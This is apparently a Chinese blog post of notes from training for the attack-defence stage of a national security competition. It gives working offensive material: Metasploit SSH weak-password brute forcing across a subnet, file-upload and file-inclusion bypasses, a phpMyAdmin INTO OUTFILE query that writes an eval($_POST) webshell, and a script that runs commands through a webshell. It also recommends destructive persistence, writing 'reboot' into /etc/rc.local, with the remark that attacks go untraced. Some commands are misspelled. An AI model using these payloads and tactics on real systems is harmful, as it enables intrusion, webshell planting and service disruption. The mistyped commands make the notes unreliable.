Contents
  1. 1. 第二阶段
    1. 1.1. 提交模式如下:
    2. 1.2. 学习备赛
  2. 2. 第三阶段
    1. 2.1. 比赛流程推荐(分工去做)
    2. 2.2. 涉及技术和命令
    3. 2.3. 培训学习
      1. 2.3.1. 上传漏洞
      2. 2.3.2. 文件包含
    4. 2.4. 命令执行
    5. 2.5. phpmyadmin
    6. 2.6. 17国赛三阶段文件解析
    7. 2.7. 比赛环境方面
  3. 3. 重点总结
  4. 4. 相关材料:

去选拔赛的主办院校,经过了一下午和一上午的培训,时间很短但是对于国赛三阶段来说已经足够了,之前在基础的漏洞方面,owasptop10原理已经了解的比较透彻了,主要欠缺的就是一些思路,而这次培训正好给提供了这些思路,让我对三阶段有了一个不一样的认识(难度不大,出题老套,对熟练度的考试要求更高),总的来说受益匪浅。

第二阶段

第二阶段分两种提交方式,截图提交和系统提交,截图提交为常规提交模式,web这块一定要注意程序逻辑的正确性

提交模式如下:

针对提交模式特性:

  • 可重复提交
  • 只有正确时才会提示
  • 间隔10S

策略和注意点:

  • 对于不确切的答案,可以采用多次重复提交的方式,用burpsuite intruder进行爆破,也可以用python写爆破脚本
  • 再提交时一定要注意大小写的问题,提交模式下必须100%正确才能拿分

ps:搜索php.ini (当未在默认目录)

学习备赛

当国赛真题出来之后,按知识点搜索学习,针对性点对点的学习,提升深度

例如17国赛的python相关

在学习时熟悉python idle使用 help等命令,锻炼面对未知模块的快速适应能力
,可以用用kali中的Ipython快速补全,也可以构造自动补全的python shell

python shell

>>> import rlcompleter  
>>> import readline  
>>> readline.parse_and_bind("tab: complete")  

在本地安装时会出现

error: this module is not meant to work on Windows

不支持windows ,也就是不能在沙盒环境中使用(沙盒中类似的python补全代码应该时windows)
可以在kali python shell命令行中输入以上命令然后,就可以自动补全

>>> import base64
>>> base64.
base64.EMPTYSTRING                  base64._translation
base64.MAXBINSIZE                   base64._urlsafe_decode_translation
base64.MAXLINESIZE                  base64._urlsafe_encode_translation
base64.__all__                      base64._x
base64.__class__(                   base64.b16decode(
base64.__delattr__(                 base64.b16encode(
base64.__dict__                     base64.b32decode(
base64.__doc__                      base64.b32encode(
base64.__file__                     base64.b64decode(
base64.__format__(                  base64.b64encode(
base64.__getattribute__(            base64.binascii
base64.__hash__(                    base64.decode(
base64.__init__(                    base64.decodestring(
base64.__name__                     base64.encode(
base64.__new__(                     base64.encodestring(
base64.__package__                  base64.k
base64.__reduce__(                  base64.re
base64.__reduce_ex__(               base64.standard_b64decode(
base64.__repr__(                    base64.standard_b64encode(
base64.__setattr__(                 base64.string
base64.__sizeof__(                  base64.struct
base64.__str__(                     base64.test(
base64.__subclasshook__(            base64.test1(
base64._b32alphabet                 base64.urlsafe_b64decode(
base64._b32rev                      base64.urlsafe_b64encode(
base64._b32tab                      base64.v
base64._translate(                  

推荐使用ipython

第三阶段

比赛流程推荐(分工去做)

  • 1.查看本地用户,并尝试登陆ssh弱口令用户和mysql弱口令用户(ssh默认弱口令123456 mysql从web文件查看,登陆成功后记录以备后期批量扫描)
  • 2.改密码 ssh root用户和非root用户、mysql用户密码 查看历史操作命令history(可能发现工程师布置环境使用的命令)
  • 3.备份源代码 审计寻找可利用漏洞 并删除web源代码
  • 4.扫描nmap 服务器,查看靶机系统开放端口(包括常用端口+漏洞端口+后门端口)
  • 5.系统漏洞 用软连接修补漏洞 或者 杀掉新开进程(可以编写shell脚本自动化杀进程)
  • 6.编写脚本批量(web 漏洞)和flag批量提交脚本

涉及技术和命令

密码修改(一次只能修改一个用户)

echo "213456" | passwd --stdin root

查看拥有bash权限用户

cat /etc/passwd | grep 'bash'

crt 登陆弱口令用户
登陆mysql弱口令用户

mysql -u用户名 -p

查找webshell后门

grep -r "eval($_POST"
grep -r "arrey_map"

web目录保存位置

/var/html/www
home/www/html

服务器端口扫描

nmap 快速扫描

ssh弱口令批量攻击

msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.1-255.1
rhosts => 192.168.1-255.1
msf auxiliary(scanner/ssh/ssh_login) > set username root
username => root
msf auxiliary(scanner/ssh/ssh_login) > set password 123456
password => 123456
msf auxiliary(scanner/ssh/ssh_login) > run

mysql弱口令批量攻击

msf > use auxiliary/scanner/mysql/mysql_login 

系统后门
nc、telnet 等

杀端口

kaii -9 pid

软连接

一个服务可以分身多个端口,用于替换存在漏洞的服务
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oport=10001

缓冲区溢出漏洞利用

常见漏洞列表收集

删除flag

chattrr -i 删除flag  剔除idd权限
flag明文文件都是存在靶机内通过程序随机加密

培训学习

上传漏洞

各种简单绕过

1.本地js验证

删除调用部分

2.大小写绕过

找上传到的路径,burpsuite,或者查看源代码
strtolower防御

3.双重后缀名绕过(apache解析漏洞结合)

shell.php.x
burp 后缀名加空格

4.过滤绕过

pphphp

5.特殊后缀名(特殊的php版本的问题)

类似于htaccess
php3 4 5 6可以执行

6.文件流判断类型

验证Content-type

7.文件重写漏洞

上传覆盖掉htaccess

8.IIS6.0解析漏洞绕过

9.%00截断上传

php5.34以下存在漏洞
相关文章:https://blog.csdn.net/p656456564545/article/details/17883305

文件包含

ps:快速代码审计 遍历高危函数
遍历 include 函数

1.include $_ GET() .”.php”绕过思路 (%00截断)空

环境要求:

php<=5.3.4
magic_quotes_gpc(魔术引号) 为OFF

2.远程文件包含

allow_url_fopen On
allow_url_include On
用? 或者%00截断

3.php伪协议 base64读取

php://filter/read=convert.base64-encode/resource=index.php

命令执行

1.system get
直接执行构造
2.ping system

常用cmd命令符号 & | && ||

3.dcn 页面漏洞 XSS

4.通过eval 与 system结合代码执行 导致命令执行

<?php

$fun=$_GET('fun');
$far=$_GET('far');
fun(far);
?>

传值fun=system
far=”dir”

5.拼接过安全狗
利用4中的原理进行花式拼接

escapeshellcmd() 过滤防护

phpmyadmin

导出一句话木马

select'<?php @eval($_POST[-77]);?>'INTO OUTFILE '/var/www/html/shell.php'

17国赛三阶段文件解析

17国赛文件上传中的,上传到目录没有权限,可用于共享文件
webshell 命令执行
filesharing 上传文件
download file 下载文件
Displayctrl 类似于ping 命令执行

比赛环境方面

靶机大都使用较老版本linux服务器,不会使用centOS7
攻击机大概率会是老版本BT5

重点总结

1.攻击可以使用破坏性手段(不会溯源,自启动文件写reboot)

echo "reboot" > /etc/rc.local
reboot

2.使用软连接分身替换web端口和其他漏洞服务端口
3.快速攻击框架

#!/usr/bin/env python3
#-*-coding:utf-8-*-
#version:3.6.4
__author__ = '杜文涛'

import requests
import re

try:
    for i in range(0,1):
        url = "http://127.0."+str(i)+".1:8080/html/WebShell.php?cmd=cat+*flag*"


        response = requests.get(url)
        response.encoding='utf-8'
        html = response.text

        content = re.findall(r"<input.*?name=\"(.*?)\"/>",html,re.S|re.M)[0]
        print(content)
except:
    pass

4.kali 有可能访问不到别人的靶机 网关一定要对 桥接 (nat能够访问就可以)

5.删除flag生成文件

#/usr/bin/python
import os
os.system("chattrr -i flag*")
while(1):
    os.system("rm -f flag*")

6.国赛有一次警告机会,要大胆尝试

相关材料:

工程师博客            http://blog.51cto.com/tdcqvip
Python shell自动补齐  https://blog.csdn.net/orends/article/details/42653739
Contents
  1. 1. 第二阶段
    1. 1.1. 提交模式如下:
    2. 1.2. 学习备赛
  2. 2. 第三阶段
    1. 2.1. 比赛流程推荐(分工去做)
    2. 2.2. 涉及技术和命令
    3. 2.3. 培训学习
      1. 2.3.1. 上传漏洞
      2. 2.3.2. 文件包含
    4. 2.4. 命令执行
    5. 2.5. phpmyadmin
    6. 2.6. 17国赛三阶段文件解析
    7. 2.7. 比赛环境方面
  3. 3. 重点总结
  4. 4. 相关材料: